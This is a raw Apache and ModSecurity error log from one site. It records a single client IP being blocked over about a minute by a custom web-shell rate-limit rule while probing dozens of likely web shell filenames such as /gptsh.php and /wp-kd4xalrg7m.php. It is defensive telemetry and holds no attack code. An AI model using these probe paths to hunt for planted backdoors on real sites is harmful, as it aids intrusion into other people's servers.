[Mon Mar 30 23:39:44.305645 2026] [:error] [pid 60747:tid 60827] [client 72.146.16.175:58180] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acqZQAU3IY-cCpy_-zFQtwAAANg"]
[Mon Mar 30 23:39:44.773680 2026] [:error] [pid 60747:tid 60819] [client 72.146.16.175:60715] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acqZQAU3IY-cCpy_-zFQuAAAANA"]
[Mon Mar 30 23:39:45.288980 2026] [:error] [pid 60747:tid 60806] [client 72.146.16.175:59419] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bibil.php"] [unique_id "acqZQQU3IY-cCpy_-zFQuwAAAMM"]
[Mon Mar 30 23:39:45.798995 2026] [:error] [pid 60747:tid 60812] [client 72.146.16.175:60678] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bibil.php"] [unique_id "acqZQQU3IY-cCpy_-zFQvwAAAMk"]
[Mon Mar 30 23:39:46.278318 2026] [:error] [pid 60835:tid 60855] [client 72.146.16.175:60165] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bibil.php"] [unique_id "acqZQgIOJ4Lc0iJVRzwFqAAAABI"]
[Mon Mar 30 23:39:46.752826 2026] [:error] [pid 60835:tid 60861] [client 72.146.16.175:63805] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bibil.php"] [unique_id "acqZQgIOJ4Lc0iJVRzwFqQAAABg"]
[Mon Mar 30 23:39:47.218725 2026] [:error] [pid 63557:tid 63583] [client 72.146.16.175:61506] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nox.php"] [unique_id "acqZQ64QNVlzYgEvIjnMTwAAARg"]
[Mon Mar 30 23:39:47.723357 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:58945] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nox.php"] [unique_id "acqZQ64QNVlzYgEvIjnMUQAAAQI"]
[Mon Mar 30 23:39:48.237026 2026] [:error] [pid 63557:tid 63566] [client 72.146.16.175:61564] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nox.php"] [unique_id "acqZRK4QNVlzYgEvIjnMVAAAAQc"]
[Mon Mar 30 23:39:48.719143 2026] [:error] [pid 60747:tid 60823] [client 72.146.16.175:60705] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nox.php"] [unique_id "acqZRAU3IY-cCpy_-zFQywAAANQ"]
[Mon Mar 30 23:39:49.197989 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:59448] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acqZRa4QNVlzYgEvIjnMZAAAARc"]
[Mon Mar 30 23:39:49.676370 2026] [:error] [pid 63557:tid 63569] [client 72.146.16.175:63852] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acqZRa4QNVlzYgEvIjnMbQAAAQo"]
[Mon Mar 30 23:39:50.200575 2026] [:error] [pid 63557:tid 63574] [client 72.146.16.175:60751] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acqZRq4QNVlzYgEvIjnMdgAAAQ8"]
[Mon Mar 30 23:39:50.700889 2026] [:error] [pid 63557:tid 63581] [client 72.146.16.175:60240] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acqZRq4QNVlzYgEvIjnMfQAAARY"]
[Mon Mar 30 23:39:51.185012 2026] [:error] [pid 63557:tid 63579] [client 72.146.16.175:60744] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "acqZR64QNVlzYgEvIjnMhgAAARQ"]
[Mon Mar 30 23:39:51.654673 2026] [:error] [pid 60835:tid 60856] [client 72.146.16.175:60688] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "acqZRwIOJ4Lc0iJVRzwFrQAAABM"]
[Mon Mar 30 23:39:52.127622 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:59493] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "acqZSK4QNVlzYgEvIjnMkgAAAQM"]
[Mon Mar 30 23:39:52.610475 2026] [:error] [pid 63557:tid 63569] [client 72.146.16.175:58941] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "acqZSK4QNVlzYgEvIjnMmwAAAQo"]
[Mon Mar 30 23:39:53.104793 2026] [:error] [pid 60835:tid 60841] [client 72.146.16.175:62237] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "acqZSQIOJ4Lc0iJVRzwFrgAAAAQ"]
[Mon Mar 30 23:39:53.648006 2026] [:error] [pid 60835:tid 60858] [client 72.146.16.175:58882] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "acqZSQIOJ4Lc0iJVRzwFrwAAABU"]
[Mon Mar 30 23:39:54.148638 2026] [:error] [pid 60746:tid 60798] [client 72.146.16.175:63767] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "acqZSp4kQrgjDdAbQCozMAAAAJY"]
[Mon Mar 30 23:39:54.623300 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:57168] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "acqZSq4QNVlzYgEvIjnMuQAAARM"]
[Mon Mar 30 23:39:55.112484 2026] [:error] [pid 63557:tid 63575] [client 72.146.16.175:62288] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "acqZS64QNVlzYgEvIjnMwAAAARA"]
[Mon Mar 30 23:39:55.596138 2026] [:error] [pid 63557:tid 63565] [client 72.146.16.175:65414] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "acqZS64QNVlzYgEvIjnMxwAAAQY"]
[Mon Mar 30 23:39:56.082633 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:59461] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "acqZTK4QNVlzYgEvIjnMzwAAARM"]
[Mon Mar 30 23:39:56.566321 2026] [:error] [pid 60746:tid 60786] [client 72.146.16.175:60689] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "acqZTJ4kQrgjDdAbQCozPQAAAIo"]
[Mon Mar 30 23:39:57.137967 2026] [:error] [pid 60745:tid 60756] [client 72.146.16.175:60733] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa.php"] [unique_id "acqZTSQDBn75QnHaPb9WkQAAAEc"]
[Mon Mar 30 23:39:57.618220 2026] [:error] [pid 60746:tid 60792] [client 72.146.16.175:60785] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa.php"] [unique_id "acqZTZ4kQrgjDdAbQCozRQAAAJA"]
[Mon Mar 30 23:39:58.106990 2026] [:error] [pid 60745:tid 60762] [client 72.146.16.175:65471] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa.php"] [unique_id "acqZTiQDBn75QnHaPb9WkwAAAE0"]
[Mon Mar 30 23:39:58.626003 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:59437] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa.php"] [unique_id "acqZTq4QNVlzYgEvIjnM3wAAARc"]
[Mon Mar 30 23:39:59.254796 2026] [:error] [pid 60835:tid 60847] [client 72.146.16.175:59410] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acqZTwIOJ4Lc0iJVRzwFugAAAAo"]
[Mon Mar 30 23:39:59.796439 2026] [:error] [pid 63557:tid 63568] [client 72.146.16.175:59447] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acqZT64QNVlzYgEvIjnM6AAAAQk"]
[Mon Mar 30 23:40:00.269924 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:61440] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acqZUK4QNVlzYgEvIjnM6QAAARM"]
[Mon Mar 30 23:40:00.776545 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:59460] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acqZUK4QNVlzYgEvIjnM7AAAAQU"]
[Mon Mar 30 23:40:01.262554 2026] [:error] [pid 63557:tid 63581] [client 72.146.16.175:63810] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "acqZUa4QNVlzYgEvIjnM7gAAARY"]
[Mon Mar 30 23:40:01.781164 2026] [:error] [pid 60746:tid 60796] [client 72.146.16.175:63869] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "acqZUZ4kQrgjDdAbQCozRwAAAJQ"]
[Mon Mar 30 23:40:02.292287 2026] [:error] [pid 60835:tid 60861] [client 72.146.16.175:60210] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "acqZUgIOJ4Lc0iJVRzwFvgAAABg"]
[Mon Mar 30 23:40:02.779698 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:61492] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "acqZUq4QNVlzYgEvIjnM8QAAAQ0"]
[Mon Mar 30 23:40:03.248665 2026] [:error] [pid 60835:tid 60853] [client 72.146.16.175:65480] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zample.php"] [unique_id "acqZUwIOJ4Lc0iJVRzwFwQAAABA"]
[Mon Mar 30 23:40:03.776366 2026] [:error] [pid 63557:tid 63570] [client 72.146.16.175:62254] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zample.php"] [unique_id "acqZU64QNVlzYgEvIjnM9AAAAQs"]
[Mon Mar 30 23:40:04.272997 2026] [:error] [pid 60835:tid 60840] [client 72.146.16.175:60255] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zample.php"] [unique_id "acqZVAIOJ4Lc0iJVRzwFwwAAAAM"]
[Mon Mar 30 23:40:04.781060 2026] [:error] [pid 60745:tid 60751] [client 72.146.16.175:60163] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zample.php"] [unique_id "acqZVCQDBn75QnHaPb9WmAAAAEI"]
[Mon Mar 30 23:40:05.253184 2026] [:error] [pid 60835:tid 60852] [client 72.146.16.175:62332] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/read.php"] [unique_id "acqZVQIOJ4Lc0iJVRzwFxgAAAA8"]
[Mon Mar 30 23:40:05.733723 2026] [:error] [pid 60835:tid 60837] [client 72.146.16.175:65418] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/read.php"] [unique_id "acqZVQIOJ4Lc0iJVRzwFyQAAAAA"]
[Mon Mar 30 23:40:06.207880 2026] [:error] [pid 60835:tid 60855] [client 72.146.16.175:62261] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/read.php"] [unique_id "acqZVgIOJ4Lc0iJVRzwFygAAABI"]
[Mon Mar 30 23:40:06.712747 2026] [:error] [pid 60747:tid 60814] [client 72.146.16.175:60694] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/read.php"] [unique_id "acqZVgU3IY-cCpy_-zFQ8gAAAMs"]
[Mon Mar 30 23:40:07.196409 2026] [:error] [pid 60747:tid 60811] [client 72.146.16.175:65525] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "acqZVwU3IY-cCpy_-zFQ9gAAAMg"]
[Mon Mar 30 23:40:07.679240 2026] [:error] [pid 60747:tid 60816] [client 72.146.16.175:60792] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "acqZVwU3IY-cCpy_-zFQ-QAAAM0"]
[Mon Mar 30 23:40:08.190675 2026] [:error] [pid 60745:tid 60756] [client 72.146.16.175:60750] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "acqZWCQDBn75QnHaPb9WnAAAAEc"]
[Mon Mar 30 23:40:08.675643 2026] [:error] [pid 60745:tid 60762] [client 72.146.16.175:62314] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "acqZWCQDBn75QnHaPb9WngAAAE0"]
[Mon Mar 30 23:40:09.181263 2026] [:error] [pid 60747:tid 60803] [client 72.146.16.175:58914] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "acqZWQU3IY-cCpy_-zFQ_wAAAMA"]
[Mon Mar 30 23:40:09.657549 2026] [:error] [pid 60745:tid 60763] [client 72.146.16.175:59451] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "acqZWSQDBn75QnHaPb9WowAAAE4"]
[Mon Mar 30 23:40:24.137572 2026] [:error] [pid 63557:tid 63569] [client 72.146.16.175:63764] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acqZaK4QNVlzYgEvIjnNdwAAAQo"]
[Mon Mar 30 23:40:24.671419 2026] [:error] [pid 63557:tid 63568] [client 72.146.16.175:63830] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acqZaK4QNVlzYgEvIjnNgAAAAQk"]
[Mon Mar 30 23:40:25.143672 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:60710] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acqZaa4QNVlzYgEvIjnNiQAAARM"]
[Mon Mar 30 23:40:25.628259 2026] [:error] [pid 60746:tid 60797] [client 72.146.16.175:61525] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acqZaZ4kQrgjDdAbQCozfgAAAJU"]
